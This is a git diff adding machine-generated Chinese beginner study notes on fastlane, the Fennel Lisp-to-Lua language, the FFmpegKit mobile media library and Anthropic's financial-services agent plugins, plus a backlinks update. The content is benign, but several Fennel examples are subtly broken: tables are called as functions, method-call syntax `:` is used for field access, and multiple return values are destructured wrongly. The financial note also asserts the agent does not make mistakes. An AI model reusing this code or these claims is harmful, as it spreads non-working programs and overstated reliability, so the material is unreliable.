+          APP_STORE_CONNECT_API_ISSUER_ID: ${{ secrets.ASC_ISSUER_ID }}
+          APP_STORE_CONNECT_API_KEY_CONTENT: ${{ secrets.ASC_KEY_CONTENT }}
+        run: bundle exec fastlane ios beta skip_git:true
+```
+
+常见 CI：GitHub Actions、CircleCI、Bitrise、GitLab CI。密钥通过环境变量或 CI Secret 注入，**不要**把 p12、API Key 写进 Fastfile。
+
+## 常用工具族（历史名称）
+
+| 工具 | 现代 action | 用途 |
+|------|-------------|------|
+| gym | `build_app` | Xcode 编译、导出 ipa |
+| scan | `run_tests` | 跑 XCTest / XCUITest |
+| snapshot | `capture_screenshots` | 多语言多设备截屏 |
+| match | `match` | 证书与描述文件 Git 同步 |
+| pilot | `upload_to_testflight` | 上传 TestFlight |
+| deliver | `upload_to_app_store` | 元数据 + 二进制提交审核 |
+| supply | `upload_to_play_store` | Google Play 上传 |
+
+## 插件与扩展
+
+内置 action 不够用时，社区 **fastlane plugin** 可扩展（如 Firebase App Distribution、pgyer 内测等）：
+
+```bash
+bundle exec fastlane add_plugin firebase_app_distribution
+```
+
+`fastlane/Pluginfile` 会记录 gem 依赖；lane 内直接调用插件提供的 action 名。
+
+## 踩坑与最佳实践
+
+1. **一定用 Bundler**：`gem install fastlane` 全局装容易和系统 Ruby、CocoaPods 冲突
+2. **CI 与本地同一套 lane**：避免「CI 专用脚本」分叉；用 `is_ci` / `Helper.ci?` 分支细节
+3. **App Store Connect API Key 优于 Apple ID 密码**：支持 2FA、适合 CI，无需会话 cookie
+4. **Android 用 AAB 而非 APK 上架**：`bundle` task + `upload_to_play_store` 传 aab 路径
+5. **lane 要幂等与可重试**：上传失败时，考虑 `increment_build_number` 是否已提交，避免重复 bump
+6. **敏感信息**：`match` 加密密码、`MATCH_PASSWORD`、Play JSON、ASC API Key 全部走 Secret
+7. **opt_out_usage**：若需关闭匿名使用统计，在 Fastfile 顶部加 `opt_out_usage` 或设 `FASTLANE_OPT_OUT_USAGE`
+
+## 与相邻工具对比
+
+| 维度 | fastlane | Xcode Cloud | EAS (Expo) | Gradle Play Publisher |
+|------|----------|-------------|------------|------------------------|
+| 平台 | iOS + Android + macOS | 主要 iOS | RN / Expo 生态 | 仅 Android |
+| 运行位置 | 本地 Mac / 任意 CI | Apple 云 | Expo 云 | CI / 本地 |
+| 配置 | Ruby Fastfile | Xcode 工作流 UI | eas.json | Gradle 插件 |
+| 签名 | match 等 | Apple 托管 | EAS 托管凭证 | Play 服务账号 |
+| 适合 | 原生或多端统一发布脚本 | 纯 Apple 栈、少运维 | RN 快速迭代 | 纯 Android 管线 |
+
+很多团队 **Xcode Cloud / EAS 负责构建，fastlane 负责上传与元数据**——按团队边界拆分即可。
+
+## 学习路径建议
+
+1. 在现有 App 根目录 `bundle exec fastlane init`，选 Manual，先写 `lane :test` 调 `run_tests` 或 `gradle test`
+2. 读官方 [Actions 列表](https://docs.fastlane.tools/actions/)，把手工步骤映射成 action 序列
+3. 引入 `match` 统一 iOS 签名，再接入一条 CI `beta` lane
+4. 需要截屏审核素材时再加 `capture_screenshots`（snapshot）
+5. 查阅 [GitHub Actions 集成文档](https://docs.fastlane.tools/best-practices/continuous-integration/github/) 对齐 Secret 命名
+
+## 进一步阅读
+
+- 官方文档：https://docs.fastlane.tools/
+- 概念：Fastfile、Lanes、Actions — https://docs.fastlane.tools/
+- 源码与 issue：https://github.com/fastlane/fastlane
+- App Store Connect API：https://developer.apple.com/app-store-connect/api/
+- Google Play Developer API（supply）：https://developers.google.com/android-publisher
+
+---
+
+*本篇为 pipeline-v3 生成的零基础学习笔记；分类字段由 `node scripts/classify-notes.mjs --apply --area=projects` 自动维护。*
diff --git a/src/content/docs/projects/fennel.md b/src/content/docs/projects/fennel.md
new file mode 100644
index 000000000..7c31526dd
--- /dev/null
+++ b/src/content/docs/projects/fennel.md
@@ -0,0 +1,193 @@
+---
+title: Fennel — 编译到 Lua 的 Lisp
+来源: https://github.com/bakpakin/Fennel
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Fennel — 编译到 Lua 的 Lisp
+
+## 什么是 Fennel？
+
+想象一下，你手里有一把瑞士军刀（Lua），它小巧、轻便、到处都能用。但你觉得每次打开不同的刀片都很麻烦，不如有一把"一键弹出"的刀来得爽快。
+
+Fennel 做的事情就是这样：它给了 Lua 一套 Lisp 风格的语法外壳。你写的是 Lisp 风格的代码（括号包裹、前缀表达式），但编译器在后台把它翻译成 Lua 代码来运行。
+
+说白了，Fennel = Lisp 语法 + Lua 引擎。
+
+## 为什么要搞这个？
+
+Lua 本身是一门非常简洁的语言，但它的语法有几个让人头疼的地方：
+
+- 写函数要 `function` 关键字，写 `if` 后面不能直接取值
+- 循环和迭代需要记住各种库函数名
+- 代码读起来像"命令列表"，不容易表达"数据管道"
+
+Lisp 的解决方案很优雅：代码就是数据，括号包裹一切，表达式有返回值。Fennel 把这套理念搬到了 Lua 上，同时保持了 Lua 零运行时开销的特点——编译出来的 Lua 代码和手写的几乎一样快。
+
+## 核心概念
+
+### 1. 一切都在括号里
+
+Lisp 最著名的特征就是括号语法。在 Fennel 里：
+
+- `()` 括号：调用函数，就像其他语言写 `func(a, b)`
+- `{}` 花括号：键值对字典（对应 Lua 的 table）
+- `[]` 方括号：有序列表（对应 Lua 的数组）
+
+```fennel
+;; 其他语言写：print("hello")
+;; Fennel 写：
+(print "hello")
+
+;; 其他语言写：result = a + b
+;; Fennel 写（前缀表达式）：
+(+ a b)
+
+;; 嵌套调用也一目了然：
+(print (+ 1 2))
+;; 先算 (+ 1 2) 得到 3，再打印 3
+```
+
+### 2. 定义函数
+
+用 `fn` 关键字。参数列表用方括号包裹，函数体内最后一个表达式的值就是返回值。
+
+```fennel
+(fn greet [name]
+  (print "hello" name))
+```
+
+### 3. 局部变量
+
+用 `let` 引入局部作用域的变量。
+
+```fennel
+(let [x 10
+      y 20]
+  (+ x y))
+;; -> 30
+```
+
+## 代码示例
+
+### 示例一：基础数据操作
+
+这段代码展示了 Fennel 处理数据的基本方式——定义数据结构、函数、局部变量和条件判断。
+
+```fennel
+(fn describe-animal [animal]
+  "根据动物类型返回描述"
+  (let [kind (animal :kind)
+        name (animal :name)]
+    (if (= kind :cat)
+        (.. name "是一只可爱的猫")
+        (= kind :dog)
+        (.. name "是一只忠诚的狗")
+        (.. name "是一只未知的动物 " kind))))
+
+(local my-cat {:name "小白" :kind :cat})
+(describe-animal my-cat)
+;; -> "小白是一只可爱的猫"
+```
+
+这里可以看到几个关键模式：
+
+- `{}` 定义字典，`:` 前缀表示键是字符串
+- `animal :kind` 用 `.` 语法访问字典字段
+- `if` 接受多组条件-返回值对，最后一组充当 `else`
+- `..` 是字符串拼接运算符
+
+### 示例二：迭代和数据处理
+
+Fennel 提供了强大的迭代和数据处理能力。`icollect` 可以过滤和转换列表中的元素。
+
+```fennel
+;; 定义一个学生数据列表
+(local students [
+  {:name "小明" :grade 85 :subject :math}
+  {:name "小红" :grade 92 :subject :math}
+  {:name "小刚" :grade 60 :subject :english}
+  {:name "小丽" :grade 78 :subject :english}
+])
+
+;; 用 icollect 筛选数学成绩及格的学生
+(local math-pass
+  (icollect [_ student (ipairs students)]
+    (if (and (= (: student :subject) :math)
+             (> (: student :grade) 60))
+        (: student :name))))
+
+(print math-pass)
+;; -> ["小明" "小红"]
+
+;; 计算某科目的平均分
+(fn avg-grade [subject students]
+  (accumulate [total 0 count 0
+               student students]
+    (if (= (: student :subject) subject)
+        (values (+ total (: student :grade)) (+ count 1))
+        (values total count))))
+
+;; 注意 accumulate 返回的是累积值本身
+;; 上面的写法需要稍作调整，实际使用如下：
+(fn avg-grade [subject students]
+  (let [[total count]
+        (accumulate [sum 0 cnt 0
+                     student students]
+          (if (= (: student :subject) subject)
+              (values (+ sum (: student :grade)) (+ cnt 1))
+              (values sum cnt)))]
+    (if (= count 0)
+        0
+        (/ total count))))
+
+(print (avg-grade :math students))
+;; -> 88.5
+```
+
+`icollect` 类似于其他语言中的 `filter` + `map`：遍历列表，如果 body 返回 `nil` 就跳过该项，否则加入结果列表。`accumulate` 则类似 `reduce`/`fold`，逐步累积一个值。
+
+### 示例三：模式匹配
+
+Fennel 支持模式匹配，这是 Lisp 系语言的强项。
+
+```fennel
+(local result [1 "hello" 3.14])
+
+(case result
+  [1 a b] (print "整数开头" a b)
+  [x y z] (print "三个值:" x y z)
+  _ (print "不匹配"))
+;; -> 整数开头 hello 3.14
+```
+
+第一个模式 `[1 a b]` 会匹配以 `1` 开头的三元组，并把第二、第三项绑定到 `a` 和 `b`。
+
+## 与 Lua 的关系
+
+这是理解 Fennel 最关键的一点：**Fennel 编译出的 Lua 代码和手写的一样高效**。
+
+你可以从 Fennel 直接调用任何 Lua 库，也可以从 Lua 中调用 Fennel 编写的函数。两者互相透明。这意味着你不需要"从零开始"，可以直接利用 Lua 生态中已有的丰富库和工具。
+
+| 特性 | Fennel | Lua |
+|------|--------|-----|
+| 语法 | Lisp 括号风格 | C 风格 |
+| 运行环境 | 编译为 Lua，在 Lua 虚拟机运行 | 原生 Lua |
+| 性能 | 零额外开销，与手写 Lua 相同 | 原生 |
+| 大小 | 编译器本身仅一个文件 | 语言本身 |
+| 模块系统 | 共享 Lua 的 `require` | `require` |
+
+## 总结
+
+Fennel 的核心价值可以用一句话概括：用 Lisp 的简洁语法写代码，用 Lua 的广泛部署来运行。
+
+它适合以下场景：
+- 想用 Lisp 风格但需要部署到 Lua 生态（游戏引擎、Nginx 等）
+- 需要写宏或元编程
+- 喜欢表达式编程，希望代码有返回值
+- 追求极致轻量（编译后的代码可以小到 300KB）
+
+Fennel 的设计哲学很明确：不要有运行时开销，不要引入新虚拟机，就做一个"语法糖编译器"。这种克制反而让它成为 Lisp 家族中最务实的存在之一。
diff --git a/src/content/docs/projects/ffmpeg-kit.md b/src/content/docs/projects/ffmpeg-kit.md
new file mode 100644
index 000000000..a8645b493
--- /dev/null
+++ b/src/content/docs/projects/ffmpeg-kit.md
@@ -0,0 +1,348 @@
+---
+title: FFmpegKit — 在 App 里跑 FFmpeg 的「随身剪辑台」
+来源: https://github.com/arthenica/ffmpeg-kit
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 日常类比：把专业剪辑软件装进手机 App
+
+想象你在手机里做短视频 App：用户上传一段 4K 视频，你要**压缩、裁切、加水印、混音、烧字幕**，最后导出 MP4。桌面端有 [[ffmpeg]] 这条命令行「瑞士军刀」，但手机 App 不能指望用户装终端、也不能随便 `fork` 一个 shell 进程。
+
+**FFmpegKit 做的事，相当于在 App 里内置一台「随身剪辑台」**：底层仍是 FFmpeg 原生库，外面包一层各平台统一的 API（Java / Objective-C / Dart / JavaScript / C++），让你在 Android、iOS、Flutter、React Native 里直接写：
+
+```text
+-i input.mp4 -vf scale=720:-2 -c:v libx264 output.mp4
+```
+
+不用自己交叉编译 FFmpeg、不用处理 JNI/FFI、不用啃 C 头文件。项目地址：[arthenica/ffmpeg-kit](https://github.com/arthenica/ffmpeg-kit)，曾替代 MobileFFmpeg、flutter_ffmpeg、react-native-ffmpeg，GitHub 约 5.8k Stars。
+
+**重要现状（2025 年起）**：官方已宣布 **FFmpegKit 退役（retired）**，仓库于 2025-06-23 归档只读，Maven/CocoaPods/pub/npm 上的预编译包也按版本分批下架。学习它仍有价值——大量存量 App、社区 fork 和「移动端如何封装 FFmpeg」的设计模式都建立在 FFmpegKit 之上；新项目需评估社区维护 fork 或自建 native 绑定。
+
+---
+
+## 解决什么问题
+
+### 痛点 1：在移动端自己编译 FFmpeg 是地狱模式
+
+FFmpeg 依赖链长（x264、libvpx、openssl…），Android 要配 NDK + ABI，iOS 要配 Xcode + bitcode/XCFramework，改一个 `--enable-*` 就要重编数小时。FFmpegKit 提供 **8 种预编译包**（min / https / audio / video / full 及对应 `-gpl` 变体），按功能选依赖体积。
+
+### 痛点 2：命令行工具不适合直接嵌进 UI 线程
+
+原生 `ffmpeg` 是阻塞式 CLI。FFmpegKit 用 **Session（会话）** 模型：每次 `execute` 创建会话，可同步等待，也可异步 + 日志/进度回调，还能 `cancel(sessionId)` 中断转码——这对「带进度条的导出」至关重要。
+
+### 痛点 3：平台差异（SAF、摄像头、硬件编码）
+
+- Android 10+ 分区存储：通过 `FFmpegKitConfig.getSafParameterForRead/Write` 把 SAF Uri 转成 FFmpeg 可读路径。
+- iOS/macOS：可用 `avfoundation` 输入设备访问摄像头/麦克风，`VideoToolbox` 做硬件 H.264。
+- 各平台字体目录、信号处理（Unity/Mono 需 `ignoreSignal`）都有封装。
+
+### 痛点 4：探针与转码要同一套运行时
+
+除了 `FFmpegKit.execute`，还有 `FFprobeKit` 跑 ffprobe，以及 `getMediaInformation()` 直接拿结构化元数据（时长、码率、流信息），避免自己解析 JSON。
+
+---
+
+## 核心概念
+
+### 1. FFmpegKit vs FFmpeg
+
+| 层次 | 是什么 | 你通常怎么用 |
+|------|--------|--------------|
+| **FFmpeg** | C 写的多媒体处理引擎 | 桌面/服务器命令行 |
+| **FFmpegKit** | 预编译 FFmpeg + 跨平台封装库 | App 内 `execute("-i ...")` |
+| **Session** | 一次命令执行的上下文 | 查 returnCode、logs、statistics |
+
+FFmpegKit **不发明新滤镜语法**；你仍写标准 FFmpeg 参数，只是执行环境从 shell 变成 App 进程内的 native 库。
+
+### 2. 八种预编译包（Package）
+
+按「功能 vs 包体积 vs 许可证」选型：
+
+| 包名 | 典型场景 | 备注 |
+|------|----------|------|
+| `min` | 仅基础转封装、简单滤镜 | 最小体积 |
+| `https` | 拉取 HTTPS 远程流 | 含 gmp、gnutls |
+| `audio` | 转 MP3/AAC/Opus 等 | 音频编解码器集 |
+| `video` | 字幕、VP9、WebP、字体 | 无 GPL 编解码器 |
+| `full` | 通用音视频处理 | 非 GPL 外部库较全 |
+| `*-gpl` | 需要 **libx264/x265** 等 | 整包 GPL，分发需注意合规 |
+
+默认 **LGPL 3.0**；启用 GPL 库后整包视为 GPL。专利敏感地区使用 x264/x265 前建议做法务评估（项目 Wiki 有 Patent 说明）。
+
+### 3. Session 生命周期
+
+每次 `FFmpegKit.execute(...)` 或 `executeAsync(...)` 产生一个 **FFmpegSession**：
+
+```text
+创建 → RUNNING → COMPLETED（成功/失败/取消）
+```
+
+可从 session 读取：
+
+- `sessionId`：唯一 ID，用于 `FFmpegKit.cancel(id)`
+- `returnCode`：`ReturnCode.isSuccess()` 判断是否成功
+- `output` / `getLogs()`：控制台输出
+- `getStatistics()`：转码进度（帧数、时间、比特率等），驱动 UI 进度条
+- `duration`、`startTime`、`endTime`：性能与埋点
+
+**同步**适合短命令（探针、截一张图）；**异步 + StatisticsCallback** 适合长转码，避免阻塞 UI。
+
+### 4. Main Release vs LTS Release
+
+两套发布线：
+
+- **Main**：最新 SDK（Android API 24+）、摄像头、VideoToolbox、XCFramework。
+- **LTS**：兼容老设备（Android API 16、旧 iOS），部分能力裁剪（如 LTS 上无 VideoToolbox）。
+
+老项目维护选 LTS；新功能开发选 Main。
+
+### 5. 支持平台与 API 表面
+
+| 平台 | API 语言 | 依赖示例 |
+|------|----------|----------|
+| Android | Java/Kotlin | `com.arthenica:ffmpeg-kit-full:6.0-2` |
+| iOS/macOS/tvOS | Objective-C / Swift 桥接 | CocoaPods `ffmpeg-kit-ios-full` |
+| Flutter | Dart | `ffmpeg_kit_flutter_full` |
+| React Native | TypeScript | `ffmpeg-kit-react-native` |
+| Linux | C++ | 本地构建脚本 `linux.sh` |
+
+各语言 API **能力对齐**：execute、executeAsync、FFprobe、MediaInformation、cancel、全局 log/statistics 回调。
+
+### 6. 与纯 FFmpeg CLI 的能力边界
+
+FFmpegKit 额外提供：
+
+- 并发多 Session（注意内存与 CPU）
+- 平台 SAF / 字体目录注册
+- 结构化 `MediaInformation`（v5.1+ 重构了 property API）
+
+仍 **不支持** 把 FFmpeg 变成无代码 UI 组件——滤镜、编码参数仍需你懂 FFmpeg 命令。
+
+---
+
+## 代码示例
+
+### 示例 1：Android — 同步转码 + 判断结果
+
+`build.gradle` 引入 full 包后：
+
+```kotlin
+import com.arthenica.ffmpegkit.FFmpegKit
+import com.arthenica.ffmpegkit.ReturnCode
+
+fun transcodeToMpeg4(inputPath: String, outputPath: String): Boolean {
+    val cmd = "-y -i $inputPath -c:v mpeg4 -q:v 5 $outputPath"
+    val session = FFmpegKit.execute(cmd)
+
+    return when {
+        ReturnCode.isSuccess(session.returnCode) -> true
+        ReturnCode.isCancel(session.returnCode) -> {
+            // 用户或 FFmpegKit.cancel() 中断
+            false
+        }
+        else -> {
+            android.util.Log.e(
+                "FFmpegKit",
+                "state=${session.state} rc=${session.returnCode} ${session.failStackTrace}"
+            )
+            false
+        }
+    }
+}
+```
+
+要点：
+
+- `-y` 覆盖输出，避免交互式询问（移动端无 stdin）。
+- `ReturnCode` 三分：成功 / 取消 / 失败，别只判 null。
+- 失败时读 `failStackTrace` 和 `output`，比只看 returnCode 好排查。
+
+### 示例 2：Flutter — 异步转码 + 进度回调
+
+`pubspec.yaml`：
+
+```yaml
+dependencies:
+  ffmpeg_kit_flutter_full: ^6.0.3
+```
+
+Dart 代码：
+
+```dart
+import 'package:ffmpeg_kit_flutter_full/ffmpeg_kit.dart';
+import 'package:ffmpeg_kit_flutter_full/ffmpeg_kit_config.dart';
+import 'package:ffmpeg_kit_flutter_full/return_code.dart';
+import 'package:ffmpeg_kit_flutter_full/statistics.dart';
+
+Future<bool> compressVideo({
+  required String input,
+  required String output,
+  void Function(double progress)? onProgress,
+}) async {
+  // 720p + H.264，音频 copy（需 full-gpl 才有 libx264；此处示例用 mpeg4）
+  final command =
+      '-y -i "$input" -vf scale=1280:-2 -c:v mpeg4 -b:v 2M -c:a copy "$output"';
+
+  final completer = Completer<bool>();
+
+  await FFmpegKit.executeAsync(
+    command,
+    (session) async {
+      final code = await session.getReturnCode();
+      completer.complete(ReturnCode.isSuccess(code));
+    },
+    null,
+    (Statistics stats) {
+      // time 为毫秒（v6 起为 double）
+      final ms = stats.getTime();
+      onProgress?.call(ms / 1000.0); // 简化：用已处理时长作指示
+    },
+  );
+
+  return completer.future;
+}
+```
+
+要点：
+
+- `executeAsync` 四参数：完成回调、日志回调（可 null）、统计回调。
+- 长任务务必异步，在统计回调里更新 `CircularProgressIndicator`。
+- 需要 **libx264** 时换 `ffmpeg_kit_flutter_full_gpl` 包，命令里 `-c:v libx264`。
+
+### 示例 3：用 FFprobe 读媒体信息（跨平台思路）
+
+不必手写 `ffprobe -print_format json`，可用高级 API：
+
+```java
+// Android / 同类 API 在 Apple、Flutter 上同名
+MediaInformationSession session =
+    FFprobeKit.getMediaInformation("/path/to/video.mp4");
+MediaInformation info = session.getMediaInformation();
+if (info != null) {
+    String duration = info.getDuration();       // 秒，字符串
+    String bitrate  = info.getBitrate();
+    // v5.1+：getProperty("format", "nb_streams") 等
+}
+```
+
+适合上传前校验：是否超过时长上限、是否含音频轨、分辨率是否超限。
+
+### 示例 4：Android SAF — 用户从文件选择器选视频
+
+```java
+Uri safUri = intent.getData();
+String input = FFmpegKitConfig.getSafParameterForRead(context, safUri);
+String output = context.getCacheDir() + "/export.mp4";
+FFmpegKit.executeAsync(
+    "-i " + input + " -c:v mpeg4 " + output,
+    session -> { /* 完成 */ },
+    log -> { },
+    statistics -> { }
+);
+```
+
+没有 SAF 转换，FFmpeg 在 Android 10+ 上经常 **Permission denied**。
+
+---
+
+## 常见 FFmpeg 命令模板（在 FFmpegKit 里原样使用）
+
+```bash
+# 提取音频为 AAC
+-i video.mp4 -vn -c:a aac -b:a 128k audio.m4a
+
+# 截取 10~30 秒
+-ss 10 -t 20 -i input.mp4 -c copy clip.mp4
+
+# 烧录 SRT 字幕（需 video/full 包，libass）
+-i video.mp4 -vf subtitles=sub.srt -c:a copy out.mp4
+
+# 双路输出缩略图
+-i input.mp4 -ss 00:00:05 -vframes 1 thumb.jpg
+
+# HTTPS 拉流（需 https 包）
+-i https://example.com/live.m3u8 -c copy -t 60 record.ts
+```
+
+在 App 里把路径换成沙盒目录或 SAF 参数；URL 注意证书与 GPL/https 包是否启用。
+
+---
+
+## 架构一图流
+
+```text
+┌─────────────────────────────────────────┐
+│  你的 App（Kotlin / Swift / Dart / TS）   │
+│  FFmpegKit.execute / FFprobeKit / Config  │
+└──────────────────┬──────────────────────┘
+                   │ Session + Callbacks
+┌──────────────────▼──────────────────────┐
+│  FFmpegKit Wrapper（Java/ObjC/Dart/…）    │
+│  线程池、日志重定向、统计聚合、cancel      │
+└──────────────────┬──────────────────────┘
+                   │ JNI / FFI
+┌──────────────────▼──────────────────────┐
+│  预编译 FFmpeg + 选定的 external libs     │
+│  libavcodec / libavformat / libswscale …  │
+└──────────────────┬──────────────────────┘
+                   │
+         文件系统 / SAF / AVFoundation / MediaCodec
+```
+
+---
+
+## 学习路径建议（零基础）
+
+1. **先在桌面练 FFmpeg 命令**（30 分钟）：用官方 ffmpeg 对同一文件做 scale、截取、转码，确认参数有效。
+2. **跑官方 Test App**：[ffmpeg-kit-test](https://github.com/arthenica/ffmpeg-kit-test) 各平台 Demo 一致，可看命令执行、并发、SAF 页。
+3. **选最小包集成**：从 `min` 或 `video` 开始，确认 execute 通路，再按需升级到 `full` / `full-gpl`。
+4. **先同步后异步**：短命令同步调通，再加 Statistics 回调。
+5. **查许可证**：上架前确认 LGPL/GPL 义务与 x264 专利风险。
+
+---
+
+## 与其他方案对比
+
+| 方案 | 优点 | 缺点 |
+|------|------|------|
+| **FFmpegKit** | 多平台预编译、Session API 成熟、文档全 | 官方已退役，二进制下架 |
+| **自编译 FFmpeg + JNI** | 完全可控、版本自选 | 维护成本极高 |
+| **云端转码（S3 + Lambda/自建）** | App 轻、算力弹性 | 延迟、流量费、隐私 |
+| **平台原生 API（AVAssetExportSession 等）** | 系统优化、合规简单 | 功能远少于 FFmpeg |
+| **社区 fork（Maven/pub 搜 ffmpeg-kit）** | 延续预编译便利 | 需审计维护者与更新节奏 |
+
+---
+
+## 常见问题
+
+**Q：FFmpegKit 还能用于新项目吗？**  
+官方不再发布；可锁定历史版本、迁移社区 fork，或评估自维护 native 层。学习架构仍推荐读源码与 Wiki。
+
+**Q：转码很慢怎么办？**  
+优先硬件编码（iOS `h264_videotoolbox`、Android `h264_mediacodec`），降低分辨率与帧率，避免在 UI 线程同步 execute。
+
+**Q：命令在桌面 ffmpeg 成功，在 App 里失败？**  
+常见原因：路径无读权限、缺编码器（包太小）、GPL 编解码器未用 `-gpl` 包、输出目录不可写。
+
+**Q：如何显示百分比进度？**  
+用 `Statistics` 的 `time` 与 `MediaInformation` 里的总时长估算；或解析 `speed=` 日志。FFmpeg 本身不总给精确百分比。
+
+**Q：和 [[vlc]] / ExoPlayer 关系？**  
+播放器负责**解码播放**；FFmpegKit 侧重**离线处理管道**（转码、剪辑、混流）。可组合：FFmpegKit 导出 → ExoPlayer 播放。
+
+---
+
+## 小结
+
+FFmpegKit 把「在服务器上跑的一条 ffmpeg 命令」搬到了 **手机、桌面、跨平台框架**里，用 Session、回调和预编译包屏蔽了 mobile 上最痛苦的编译与集成问题。核心记忆点：
+
+1. **它还是 FFmpeg**——学会命令比学会 API 更重要。  
+2. **按包选型**——min/https/audio/video/full/gpl 决定体积与能力。  
+3. **Session 模型**——同步、异步、cancel、statistics 四条线理清。  
+4. **平台细节**——SAF、字体、摄像头、硬件编码别忽略。  
+5. **项目已退役**——学习价值在架构与存量维护，生产选型要另做供应链评估。
+
+进一步阅读：[Wiki API](https://github.com/arthenica/ffmpeg-kit/wiki/API)、[Android 集成](https://github.com/arthenica/ffmpeg-kit/wiki/Android)、[退役说明](https://medium.com/@tanersener/saying-goodbye-to-ffmpegkit-33ae939767e1)、上游 [[ffmpeg]] 文档。
diff --git a/src/content/docs/projects/ffmpeg.md b/src/content/docs/projects/ffmpeg.md
index fc84ccafc..f8f4d971f 100644
--- a/src/content/docs/projects/ffmpeg.md
+++ b/src/content/docs/projects/ffmpeg.md
@@ -148,15 +148,18 @@ ffmpeg -i input.mp4 -codec: copy -start_number 0 -hls_time 6 -hls_list_size 0 ou
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[assimp]] —— Assimp — Open Asset Import Library 统一 3D 模型导入
 - [[aubio]] —— aubio — 实时音频事件检测库
 - [[audacity]] —— Audacity — 开源音频编辑器
 - [[bigbluebutton]] —— BigBlueButton — 教育向开源 Web 会议平台（HTML5 + WebRTC + 白板）
+- [[blender]] —— Blender — 全流程 3D 创作套件
 - [[colmap]] —— COLMAP — 多视图 SfM/MVS 重建
 - [[dash.js]] —— dash.js — 浏览器 MPEG-DASH 参考播放器
 - [[dav1d]] —— dav1d — 速度优先的 AV1 解码器
 - [[decord]] —— Decord — Video-LLM 数据管线的高效视频解码库
 - [[essentia]] —— Essentia — 音乐信息检索工具箱
 - [[fdk-aac]] —— fdk-aac — Fraunhofer AAC 编解码库
+- [[ffmpeg-kit]] —— FFmpegKit — 在 App 里跑 FFmpeg 的「随身剪辑台」
 - [[flac]] —— FLAC — 无损音频压缩格式与参考实现
 - [[gstreamer]] —— GStreamer — 流水线式多媒体框架
 - [[handbrake]] —— HandBrake — FFmpeg 上的 GUI 转码器
diff --git a/src/content/docs/projects/financial-services.md b/src/content/docs/projects/financial-services.md
new file mode 100644
index 000000000..3137172d1
--- /dev/null
+++ b/src/content/docs/projects/financial-services.md
@@ -0,0 +1,236 @@
+---
+title: "Anthropic Financial Services — 零基础学习笔记"
+来源: https://github.com/anthropics/financial-services
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+# Claude for Financial Services — 零基础学习笔记
+
+## 一、一句话概括
+
+这是一个由 Anthropic 官方开源的**金融工作智能体（Agent）集合**，专门面向投行、股权研究、私募和财富管理这些金融场景。
+
+它不是某一个单一的程序，而是一套"模板包"——你把需要的组件装好，Claude 就能帮你做财务模型、写研究报告、对账、KYC 审查……
+
+> 重要提示：这些 Agent **不会替你做投资决策**，它们只是起草分析师的工作成果（模型、备忘录、研究笔记），最终都需要人类专业人员审核签字。
+
+## 二、一个日常类比：金融部门里的"超级实习生"
+
+想象你在一家投行工作。你的团队有 20 个人，每天要：
+
+- 找同行业的公司做比较分析（可比公司分析）
+- 读上市公司的财报和电话会议纪要
+- 搭建三张表财务模型（利润表、资产负债表、现金流量表）
+- 做 DCF（现金流折现）估值
+- 准备投资人路演的 PPT
+- 做每月的账务核对
+
+以前，这些活都是 junior analyst（初级分析师）熬夜做的。
+
+这个项目的思路是：**给 Claude 一个"实习生"，它懂所有这些流程**。你告诉它"帮我做一家公司的 DCF 估值"，它就自动：
+
+1. 通过数据连接器（MCP）去拉取实时财务数据
+2. 搭建模型
+3. 生成带格式的 Excel 文件
+4. 把结果呈给你审阅
+
+关键区别是：这个"实习生"不会犯错（至少不会像人类那样犯低级错误），而且可以同时帮好几个人。
+
+## 三、核心概念拆解
+
+### 3.1 三层架构
+
+这个仓库里的东西分为三层，从大到小：
+
+| 层级 | 叫什么 | 它是什么 | 类比 |
+|------|--------|----------|------|
+| 1 | **Agents（智能体）** | 端到端的工作流，自带系统提示和所需的全部技能 | 一个"完整岗位"，比如" pitch deck 专员" |
+| 2 | **Skills（技能）** | 领域专业知识、约定和分步方法 | 具体技能，比如"会做 DCF 估值" |
+| 3 | **Commands（命令）** | 你手动触发的斜杠命令 | 快捷键，比如敲 `/dcf` 就启动 DCF |
+
+**运行方式：**
+
+- Skills 是**源头在垂直插件**（`vertical-plugins`），每个 Agent 安装时会自动打包一份它需要的 Skills 副本
+- Commands 是你**主动触发**的（如 `/comps`），Skills 是 Claude **自动判断何时使用**的
+
+### 3.2 安装/部署的两条路
+
+同一个东西，两种运行方式：
+
+**方式 A — Claude Cowork（桌面插件）**
+
+最轻量。在 Cowork 的设置里添加插件，选你需要的 Agent 或垂直技能即可。适合个人日常使用。
+
+**方式 B — Claude Managed Agents API（云端部署）**
+
+更重量级。把你的 Agent 部署到云端，通过 API 调用，适合机构内部集成到自己的工单/工作流系统里。
+
+### 3.3 MCP 数据连接器
+
+MCP（Model Context Protocol）是这个项目的**数据管道**。Claude 本身不"懂"金融数据，它需要连接外部的数据源：
+
+- Morningstar（晨星）—— 基金和股票数据
+- S&P Global / Kensho —— 标普全球分析
+- FactSet —— 金融数据终端
+- Moody's（穆迪）—— 信用评级
+- PitchBook —— 私募数据
+- LSEG（伦敦证券交易所集团）—— 债券、外汇、利率数据
+- Daloopa、Egnyte、Box —— 内部文档和数据库
+
+所有连接器集中在 `financial-analysis` 核心插件里，其他垂直插件共享使用。
+
+### 3.4 九种垂直领域
+
+| 垂直插件 | 管什么 |
+|----------|--------|
+| **financial-analysis**（核心） | 可比公司分析、DCF、LBO、三表模型、PPT 质检 |
+| **investment-banking** | 投行材料：CIM、teaser、买方名单、 merger model |
+| **equity-research** | 股权研究：财报分析、研报、晨间笔记 |
+| **private-equity** | 私募：项目 sourcing、尽调清单、IC 备忘录 |
+| **wealth-management** | 财富管理：客户回顾、财务规划、税务亏损收割 |
+| **fund-admin** | 基金运营：总账核对、应计项目、NAV 核对 |
+| **operations** | 运营：KYC 文档解析、规则引擎 |
+| **lseg**（合作） | LSEG 数据上的债券、利率、外汇分析 |
+| **sp-global**（合作） | S&P Capital IQ 上的 tear sheets、盈利预览 |
+
+## 四、完整工作流示例
+
+### 示例一：搭建一个 DCF 估值模型
+
+假设你是股权研究员，需要给苹果（AAPL）做一个现金流折现估值。
+
+**步骤 1：安装核心插件**
+
+```bash
+# 添加市场源
+claude plugin marketplace add anthropics/financial-services
+
+# 安装核心金融分析技能（包含所有数据连接器）
+claude plugin install financial-analysis@claude-for-financial-services
+
